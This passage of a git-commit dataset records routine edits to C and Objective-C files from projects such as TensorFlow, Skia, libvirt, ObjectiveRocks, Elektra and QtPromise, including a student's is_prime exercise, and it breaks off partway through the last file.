{"commit":"e4c467b78d3f1de71a2b4a71fcf057880b2a22cf","old_file":"tensorflow\/core\/config\/flag_defs.h","new_file":"tensorflow\/core\/config\/flag_defs.h","old_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_CONFIG_FLAG_DEFS_H_\n#define TENSORFLOW_CORE_CONFIG_FLAG_DEFS_H_\n\n#include \"tensorflow\/core\/config\/flags.h\"\n\nnamespace tensorflow {\nnamespace flags {\n\nclass Flags {\n public:\n  \/\/ Test only flags. See flags_test.cc for example usage.\n  TF_DECLARE_FLAG(test_only_experiment_1, true, \"Test only experiment 1.\");\n  TF_DECLARE_FLAG(test_only_experiment_2, false, \"Test only experiment 2.\");\n\n  \/\/ Declare flags below here.\n  \/\/ LINT.IfChange\n  TF_DECLARE_FLAG(graph_building_optimization, false,\n                  \"Optimize graph building for faster tf.function tracing.\");\n  \/\/ LINT.ThenChange(\/\/tensorflow\/core\/config\/flag_defs.h)\n};\n\nFlags& Global();\n\n}  \/\/ namespace flags\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_CONFIG_FLAG_DEFS_H_\n","new_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_CONFIG_FLAG_DEFS_H_\n#define TENSORFLOW_CORE_CONFIG_FLAG_DEFS_H_\n\n#include \"tensorflow\/core\/config\/flags.h\"\n\nnamespace tensorflow {\nnamespace flags {\n\nclass Flags {\n public:\n  \/\/ Test only flags. See flags_test.cc for example usage.\n  TF_DECLARE_FLAG(test_only_experiment_1, true, \"Test only experiment 1.\");\n  TF_DECLARE_FLAG(test_only_experiment_2, false, \"Test only experiment 2.\");\n\n  \/\/ Declare flags below here.\n  \/\/ LINT.IfChange\n  TF_DECLARE_FLAG(graph_building_optimization, false,\n                  \"Optimize graph building for faster tf.function tracing.\");\n  \/\/ LINT.ThenChange(\/\/tensorflow\/core\/config\/flags_api_wrapper.cc)\n};\n\nFlags& Global();\n\n}  \/\/ namespace flags\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_CONFIG_FLAG_DEFS_H_\n","subject":"Update the files referred to by the linter.","message":"Update the files referred to by the linter.\n\nPiperOrigin-RevId: 438129536\n","lang":"C","license":"apache-2.0","repos":"gautam1858\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,yongtang\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,gautam1858\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,paolodedios\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once"}
{"commit":"792400bec383ab615bcf24d5bee3c1a4294f9e1f","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 81\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 82\n#endif\n","subject":"Update Skia milestone to 82","message":"Update Skia milestone to 82\n\nChange-Id: Ifeaa877da83a42cceb04fe286bb2462190b249f9\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/267762\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"28e721fd5907dd7807f35bccc48b177afdc2b2f9","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"turing.h\"\n\n#define MAX_PROGRAM_LENGTH 32\n\nint main() {\n    int status;\n    Turing *turing;\n\n    status = 0;\n    turing = init_turing();\n    status = execute_instruction(turing, \"0 110\\n1 110\");\n    if (TURING_ERROR == status) {\n        fprintf(stderr, \"Exiting\\n\");\n        return 1;\n    } else if (TURING_HALT) {\n        printf(\"Program reached halt state!\\n\");\n    }\n\n    free_turing(turing);\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"turing.h\"\n\n#define MAX_PROGRAM_LENGTH 32\n\n#define turing_try(statement) status = statement;\\\n                                       if (TURING_ERROR == status) {\\\n                                           return 1;\\\n                                       }\n\n\nint main() {\n    int status;\n    Turing *turing;\n\n    status = 0;\n    turing = init_turing();\n    status = execute_instruction(turing, \"0 110\\n1 110\");\n    if (TURING_ERROR == status) {\n        fprintf(stderr, \"Exiting\\n\");\n        return 1;\n    } else if (TURING_HALT) {\n        printf(\"Program reached halt state!\\n\");\n    }\n\n    free_turing(turing);\n\n    return 0;\n}\n","subject":"Add turing_try function for handling errors","message":"Add turing_try function for handling errors\n","lang":"C","license":"mit","repos":"mindriot101\/turing-machine"}
{"commit":"1f1004a05c6c8a933a4c59c9d35c6cdf6d67a28b","old_file":"the-blue-alliance-ios\/TBAViewController.h","new_file":"the-blue-alliance-ios\/TBAViewController.h","old_contents":"\/\/\n\/\/  TBAViewController.h\n\/\/  the-blue-alliance\n\/\/\n\/\/  Created by Zach Orr on 4\/28\/16.\n\/\/  Copyright © 2016 The Blue Alliance. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class TBAPersistenceController, TBARefreshViewController;\n\n@interface TBAViewController : UIViewController\n\n@property (nonnull, readonly) TBAPersistenceController *persistenceController;\n\n@property (nullable, nonatomic, strong) NSArray<TBARefreshViewController *> *refreshViewControllers;\n@property (nullable, nonatomic, strong) NSArray<UIView *> *containerViews;\n\n@property (nullable, nonatomic, strong) IBOutlet UISegmentedControl *segmentedControl;\n@property (nullable, nonatomic, strong) IBOutlet UIView *segmentedControlView;\n\n@property (nullable, nonatomic, strong) IBOutlet UILabel *navigationTitleLabel;\n@property (nullable, nonatomic, strong) IBOutlet UILabel *navigationSubtitleLabel;\n\n- (void)showView:(nonnull UIView *)showView;\n- (void)updateInterface;\n- (void)cancelRefreshes;\n\n@end\n","new_contents":"\/\/\n\/\/  TBAViewController.h\n\/\/  the-blue-alliance\n\/\/\n\/\/  Created by Zach Orr on 4\/28\/16.\n\/\/  Copyright © 2016 The Blue Alliance. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class TBAPersistenceController, TBARefreshViewController;\n\n@interface TBAViewController : UIViewController\n\n@property (nonnull, readonly) TBAPersistenceController *persistenceController;\n\n@property (nullable, nonatomic, strong) NSArray<TBARefreshViewController *> *refreshViewControllers;\n@property (nullable, nonatomic, strong) NSArray<UIView *> *containerViews;\n\n@property (nullable, nonatomic, strong) IBOutlet UISegmentedControl *segmentedControl;\n@property (nullable, nonatomic, strong) IBOutlet UIView *segmentedControlView;\n\n@property (nullable, nonatomic, strong) IBOutlet UILabel *navigationTitleLabel;\n@property (nullable, nonatomic, strong) IBOutlet UILabel *navigationSubtitleLabel;\n\n- (void)cancelRefreshes;\n\n@end\n","subject":"Remove methods from TBAVC that we no longer want to expose publically","message":"Remove methods from TBAVC that we no longer want to expose publically\n","lang":"C","license":"mit","repos":"the-blue-alliance\/the-blue-alliance-ios,the-blue-alliance\/the-blue-alliance-ios"}
{"commit":"0b32bf8a2fb7ace1d48681a00445aaf446b3bc0b","old_file":"support\/c\/idris_directory.h","new_file":"support\/c\/idris_directory.h","old_contents":"#ifndef __IDRIS_DIRECTORY_H\n#define __IDRIS_DIRECTORY_H\n\nchar* idris2_currentDirectory();\nint idris2_changeDir(char* dir);\nint idris2_createDir(char* dir);\nvoid* idris2_openDir(char* dir);\nvoid idris2_closeDIr(void* d);\nint idris2_removeDir(char* path);\nchar* idris2_nextDirEntry(void* d);\n\n#endif\n","new_contents":"#ifndef __IDRIS_DIRECTORY_H\n#define __IDRIS_DIRECTORY_H\n\nchar* idris2_currentDirectory();\nint idris2_changeDir(char* dir);\nint idris2_createDir(char* dir);\nvoid* idris2_openDir(char* dir);\nvoid idris2_closeDir(void* d);\nint idris2_removeDir(char* path);\nchar* idris2_nextDirEntry(void* d);\n\n#endif\n","subject":"Fix forward declaration of idris_closeDir","message":"Fix forward declaration of idris_closeDir\n","lang":"C","license":"bsd-3-clause","repos":"mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm"}
{"commit":"b701d2ce0e96280713b84192aed48fb87d609d94","old_file":"mud\/home\/Http\/lib\/form\/thing.c","new_file":"mud\/home\/Http\/lib\/form\/thing.c","old_contents":"inherit \"\/lib\/string\/sprint\";\ninherit \"..\/support\";\n\nstatic string thing_form(object obj)\n{\n\tstring buffer;\n\n\tbuffer = \"<p>Fun little boxes:<\/p>\\n\";\n\n\tbuffer += \"<form action=\\\"object.lpc?obj=\" + object2string(obj) + \"\\\" method=\\\"post\\\">\\n\";\n\tbuffer += \"Mass: <input type=\\\"text\\\" name=\\\"mass\\\" value=\\\"\" + mixed_sprint(obj->query_mass()) + \"\\\"\/>\\n\";\n\tbuffer += \"<input type=\\\"submit\\\" value=\\\"change mass\\\" \/>\\n\";\n\tbuffer += \"<\/form>\\n\";\n\n\tbuffer += \"<form action=\\\"object.lpc?obj=\" + object2string(obj) + \"\\\" method=\\\"post\\\">\\n\";\n\tbuffer += \"Local mass: <input type=\\\"text\\\" name=\\\"localmass\\\" value=\\\"\" + mixed_sprint(obj->query_local_mass()) + \"\\\"\/>\\n\";\n\tbuffer += \"<input type=\\\"submit\\\" value=\\\"change local mass\\\" \/>\\n\";\n\tbuffer += \"<\/form>\\n\";\n\n\treturn oinfobox(\"Configuration\", 2, buffer);\n}\n","new_contents":"inherit \"\/lib\/string\/sprint\";\ninherit \"..\/support\";\n\nstatic string thing_form(object obj)\n{\n\tstring buffer;\n\n\tbuffer = \"<p>Fun little boxes:<\/p>\\n\";\n\n\tbuffer += \"<form action=\\\"object.lpc?obj=\" + object2string(obj) + \"\\\" method=\\\"post\\\">\\n\";\n\tbuffer += \"Local mass: <input type=\\\"text\\\" name=\\\"localmass\\\" value=\\\"\" + mixed_sprint(obj->query_local_mass()) + \"\\\"\/>\\n\";\n\tbuffer += \"<input type=\\\"submit\\\" value=\\\"change local mass\\\" \/>\\n\";\n\tbuffer += \"<\/form>\\n\";\n\n\treturn oinfobox(\"Configuration\", 2, buffer);\n}\n","subject":"Remove http form for mass, only manipulate local mass","message":"Remove http form for mass, only manipulate local mass\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"9c593e10c013d0000c3b61e6a0ee97a89418eff9","old_file":"ObjectiveRocks\/RocksDBCuckooTableOptions.h","new_file":"ObjectiveRocks\/RocksDBCuckooTableOptions.h","old_contents":"\/\/\n\/\/  RocksDBCuckooTableOptions.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 04\/01\/15.\n\/\/  Copyright (c) 2015 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface RocksDBCuckooTableOptions : NSObject\n\n@property (nonatomic, assign) double hashTableRatio;\n@property (nonatomic, assign) uint32_t maxSearchDepth;\n@property (nonatomic, assign) uint32_t cuckooBlockSize;\n@property (nonatomic, assign) BOOL identityAsFirstHash;\n@property (nonatomic, assign) BOOL useModuleHash;\n\n@end\n","new_contents":"\/\/\n\/\/  RocksDBCuckooTableOptions.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 04\/01\/15.\n\/\/  Copyright (c) 2015 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface RocksDBCuckooTableOptions : NSObject\n\n\/**\n @brief\n  Determines the utilization of hash tables. Smaller values\n  result in larger hash tables with fewer collisions.\n *\/\n@property (nonatomic, assign) double hashTableRatio;\n\n\/**\n @brief\n  A property used by builder to determine the depth to go to\n  to search for a path to displace elements in case of\n  collision. Higher values result in more efficient hash tables \n  with fewer lookups but take more time to build.\n *\/\n@property (nonatomic, assign) uint32_t maxSearchDepth;\n\n\/**\n @brief\n  In case of collision while inserting, the builder\n  attempts to insert in the next `cuckooBlockSize`\n  locations before skipping over to the next Cuckoo hash\n  function. This makes lookups more cache friendly in case\n  of collisions.\n *\/\n@property (nonatomic, assign) uint32_t cuckooBlockSize;\n\n\/**\n @brief\n  If this option is enabled, user key is treated as uint64_t and its value\n  is used as hash value directly. This option changes builder's behavior.\n  Reader ignore this option and behave according to what specified in table\n  property.\n *\/\n@property (nonatomic, assign) BOOL identityAsFirstHash;\n\n\/**\n @brief\n  If this option is set to true, module is used during hash calculation.\n  This often yields better space efficiency at the cost of performance.\n  If this optino is set to false, # of entries in table is constrained to be\n  power of two, and bit and is used to calculate hash, which is faster in\n  general.\n *\/\n@property (nonatomic, assign) BOOL useModuleHash;\n\n@end\n","subject":"Add source code documentation for the RocksDB Cuckoo Table Options class","message":"Add source code documentation for the RocksDB Cuckoo Table Options class\n","lang":"C","license":"mit","repos":"iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks"}
{"commit":"0e3e00a1838d8e0f94001f1e83dc477023c8ea8c","old_file":"src\/locking\/lock_driver_lockd.h","new_file":"src\/locking\/lock_driver_lockd.h","old_contents":"\/*\n * lock_driver_lockd.h: Locking for domain lifecycle operations\n *\n * Copyright (C) 2010-2011 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library.  If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#ifndef __VIR_LOCK_DRIVER_LOCKD_H__\n# define __VIR_LOCK_DRIVER_LOCKD_H__\n\nenum virLockSpaceProtocolAcquireResourceFlags {\n        VIR_LOCK_SPACE_PROTOCOL_ACQUIRE_RESOURCE_SHARED = 1,\n        VIR_LOCK_SPACE_PROTOCOL_ACQUIRE_RESOURCE_AUTOCREATE = 2,\n};\n\n#endif \/* __VIR_LOCK_DRIVER_LOCKD_H__ *\/\n","new_contents":"\/*\n * lock_driver_lockd.h: Locking for domain lifecycle operations\n *\n * Copyright (C) 2010-2011 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library.  If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#ifndef __VIR_LOCK_DRIVER_LOCKD_H__\n# define __VIR_LOCK_DRIVER_LOCKD_H__\n\nenum virLockSpaceProtocolAcquireResourceFlags {\n        VIR_LOCK_SPACE_PROTOCOL_ACQUIRE_RESOURCE_SHARED = (1 << 0),\n        VIR_LOCK_SPACE_PROTOCOL_ACQUIRE_RESOURCE_AUTOCREATE = (1 << 1),\n};\n\n#endif \/* __VIR_LOCK_DRIVER_LOCKD_H__ *\/\n","subject":"Use bit shift for flag values not constant values.","message":"locking: Use bit shift for flag values not constant values.\n\nSo far it hasn't bitten us, but if the next value wasn't 4, then\nthe logic used to check flag bits would have issues.\n","lang":"C","license":"lgpl-2.1","repos":"datto\/libvirt,eskultety\/libvirt,andreabolognani\/libvirt,libvirt\/libvirt,jardasgit\/libvirt,andreabolognani\/libvirt,VenkatDatta\/libvirt,libvirt\/libvirt,nertpinx\/libvirt,zippy2\/libvirt,taget\/libvirt,andreabolognani\/libvirt,andreabolognani\/libvirt,olafhering\/libvirt,eskultety\/libvirt,datto\/libvirt,zippy2\/libvirt,zippy2\/libvirt,datto\/libvirt,taget\/libvirt,olafhering\/libvirt,nertpinx\/libvirt,olafhering\/libvirt,crobinso\/libvirt,jardasgit\/libvirt,zippy2\/libvirt,crobinso\/libvirt,jfehlig\/libvirt,andreabolognani\/libvirt,jfehlig\/libvirt,fabianfreyer\/libvirt,taget\/libvirt,fabianfreyer\/libvirt,eskultety\/libvirt,jardasgit\/libvirt,VenkatDatta\/libvirt,fabianfreyer\/libvirt,eskultety\/libvirt,nertpinx\/libvirt,nertpinx\/libvirt,eskultety\/libvirt,libvirt\/libvirt,VenkatDatta\/libvirt,crobinso\/libvirt,taget\/libvirt,jardasgit\/libvirt,libvirt\/libvirt,VenkatDatta\/libvirt,crobinso\/libvirt,nertpinx\/libvirt,fabianfreyer\/libvirt,fabianfreyer\/libvirt,olafhering\/libvirt,datto\/libvirt,jardasgit\/libvirt,taget\/libvirt,VenkatDatta\/libvirt,datto\/libvirt,jfehlig\/libvirt,jfehlig\/libvirt"}
{"commit":"24ee156a39f8c01c1d64aeacca1de7bcfae0727b","old_file":"2015-2016\/G\/21\/07\/is_prime.c","new_file":"2015-2016\/G\/21\/07\/is_prime.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint is_prime(int *);\n\nint main()\n{\n\tint answer;\n\tint number;\n\tint *refernce_of_a = &number;\n\t\n\tscanf(\"%d\",refernce_of_a);\n\t\n\tanswer = is_prime(&number);\n\t\n\tprintf(\"%d\",answer);\n}\n\nint is_prime(int *numb)\n{\n\tint counter;\n\t\n\tfor(counter =  0; counter <= *numb\/2; counter++)\n\t{\n\t\tif(counter * counter == *numb)\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\t}\n\treturn 1;\n}\n","subject":"Add folder with is prime program Krastian Tomov No 21 10g","message":"Add folder with is prime program Krastian Tomov No 21 10g\n","lang":"C","license":"mit","repos":"elsys\/po-classwork"}
{"commit":"b8515c20948319006a133f8ca121d780e725d222","old_file":"milestone2\/arrayIndexing.c","new_file":"milestone2\/arrayIndexing.c","old_contents":"","new_contents":"extern void print_int(int i);\nextern void print_string(char c[]);\n\nint return1(void) {\n    return 1;\n}\n\nvoid main(void){\n\n    int myInt;\n    int intArr[3];\n\n    \/* need assignToArry to work for this to work *\/\n    intArr[0] = 999;\n    intArr[1] = 100;\n    intArr[2] = 200;\n\n    \/* test index from a variable *\/\n    myInt = 1;\n    print_string(\"should get 100\\ngot: \");\n    print_int(intArr[myInt]);\n    print_string(\"\\n\\n\");\n\n    \/* test index from a function call *\/\n    print_string(\"should get 100\\ngot: \");\n    print_int(intArr[return1()]);\n    print_string(\"\\n\\n\");\n\n    \/* test index from a complex expr *\/\n    print_string(\"should get 100\\ngot: \");\n    print_int(intArr[return1() + 4 \/ 8]);\n    print_string(\"\\n\\n\");\n\n    intArr[return1()] = 77;\n    print_string(\"should get 77\\ngot: \");\n    print_int(intArr[1]);\n    print_string(\"\\n\\n\");\n}\n","subject":"Add test case for indexing into an array, since the array index can be an expression","message":"Add test case for indexing into an array, since the array index can be an expression\n","lang":"C","license":"unlicense","repos":"mgaut72\/cmm-examples,mgaut72\/cmm-examples"}
{"commit":"526f01761e0c9334853aeaffb8d6c5b5984c96da","old_file":"src\/plugins\/mini\/testmod_mini.c","new_file":"src\/plugins\/mini\/testmod_mini.c","old_contents":"\/**\n * @file\n *\n * @brief Tests for mini plugin\n *\n * @copyright BSD License (see doc\/LICENSE.md or http:\/\/www.libelektra.org)\n *\n *\/\n\n#include \"values.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <kdbconfig.h>\n\n#include <tests_plugin.h>\n\nstatic void test_basics ()\n{\n\tprintf (\"• Test basic functionality of plugin\\n\");\n\n\tKey * parentKey = keyNew (\"system\/elektra\/modules\/mini\", KEY_END);\n\tKeySet * conf = ksNew (0, KS_END);\n\tPLUGIN_OPEN (\"mini\");\n\n\tKeySet * ks = ksNew (0, KS_END);\n\n\tsucceed_if (plugin->kdbGet (plugin, ks, parentKey) == KEYSET_MODIFIED, \"Could not retrieve plugin contract\");\n\n\tkeyDel (parentKey);\n\tksDel (ks);\n\tPLUGIN_CLOSE ();\n}\n\n\nint main (int argc, char ** argv)\n{\n\tprintf (\"mINI Tests 🚙\\n\");\n\tprintf (\"==============\\n\\n\");\n\n\tinit (argc, argv);\n\n\ttest_basics ();\n\n\tprintf (\"\\nResults: %d Test%s done — %d error%s.\\n\", nbTest, nbTest != 1 ? \"s\" : \"\", nbError, nbError != 1 ? \"s\" : \"\");\n\n\treturn nbError;\n}\n","new_contents":"\/**\n * @file\n *\n * @brief Tests for mini plugin\n *\n * @copyright BSD License (see doc\/LICENSE.md or http:\/\/www.libelektra.org)\n *\n *\/\n\n\/* -- Imports --------------------------------------------------------------------------------------------------------------------------- *\/\n\n#include \"values.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <kdbconfig.h>\n\n#include <tests_plugin.h>\n\n\/* -- Functions ------------------------------------------------------------------------------------------------------------------------- *\/\n\nstatic void test_basics ()\n{\n\tprintf (\"• Test basic functionality of plugin\\n\");\n\n\tKey * parentKey = keyNew (\"system\/elektra\/modules\/mini\", KEY_END);\n\tKeySet * conf = ksNew (0, KS_END);\n\tPLUGIN_OPEN (\"mini\");\n\n\tKeySet * ks = ksNew (0, KS_END);\n\n\tsucceed_if (plugin->kdbGet (plugin, ks, parentKey) == KEYSET_MODIFIED, \"Could not retrieve plugin contract\");\n\n\tkeyDel (parentKey);\n\tksDel (ks);\n\tPLUGIN_CLOSE ();\n}\n\n\/* -- Main ------------------------------------------------------------------------------------------------------------------------------ *\/\n\nint main (int argc, char ** argv)\n{\n\tprintf (\"mINI Tests 🚙\\n\");\n\tprintf (\"==============\\n\\n\");\n\n\tinit (argc, argv);\n\n\ttest_basics ();\n\n\tprintf (\"\\nResults: %d Test%s done — %d error%s.\\n\", nbTest, nbTest != 1 ? \"s\" : \"\", nbError, nbError != 1 ? \"s\" : \"\");\n\n\treturn nbError;\n}\n","subject":"Use comments to structure file","message":"mINI: Use comments to structure file\n","lang":"C","license":"bsd-3-clause","repos":"e1528532\/libelektra,e1528532\/libelektra,e1528532\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,mpranj\/libelektra,mpranj\/libelektra,mpranj\/libelektra,e1528532\/libelektra,mpranj\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,petermax2\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,e1528532\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,e1528532\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,e1528532\/libelektra,petermax2\/libelektra,petermax2\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra"}
{"commit":"5d6bcc40ec64c8780b6c87a740bae34381844f5d","old_file":"src\/qtpromise\/qpromisehelpers.h","new_file":"src\/qtpromise\/qpromisehelpers.h","old_contents":"#ifndef QTPROMISE_QPROMISEHELPERS_H\n#define QTPROMISE_QPROMISEHELPERS_H\n\n\/\/ QtPromise\n#include \"qpromise_p.h\"\n\nnamespace QtPromise {\n\ntemplate <typename T>\ntypename QtPromisePrivate::PromiseDeduce<T>::Type qPromise(T&& value)\n{\n    using namespace QtPromisePrivate;\n    using Promise = typename PromiseDeduce<T>::Type;\n    return Promise([&](\n        const QPromiseResolve<typename Promise::Type>& resolve,\n        const QPromiseReject<typename Promise::Type>& reject) {\n        PromiseFulfill<T>::call(std::forward<T>(value), resolve, reject);\n    });\n}\n\nQPromise<void> qPromise()\n{\n    return QPromise<void>([](\n        const QPromiseResolve<void>& resolve) {\n        resolve();\n    });\n}\n\ntemplate <typename T>\nQPromise<QVector<T> > qPromiseAll(const QVector<QPromise<T> >& promises)\n{\n    return QPromise<T>::all(promises);\n}\n\nQPromise<void> qPromiseAll(const QVector<QPromise<void> >& promises)\n{\n    return QPromise<void>::all(promises);\n}\n\n} \/\/ namespace QtPromise\n\n#endif \/\/ QTPROMISE_QPROMISEHELPERS_H\n","new_contents":"#ifndef QTPROMISE_QPROMISEHELPERS_H\n#define QTPROMISE_QPROMISEHELPERS_H\n\n\/\/ QtPromise\n#include \"qpromise_p.h\"\n\nnamespace QtPromise {\n\ntemplate <typename T>\nstatic inline typename 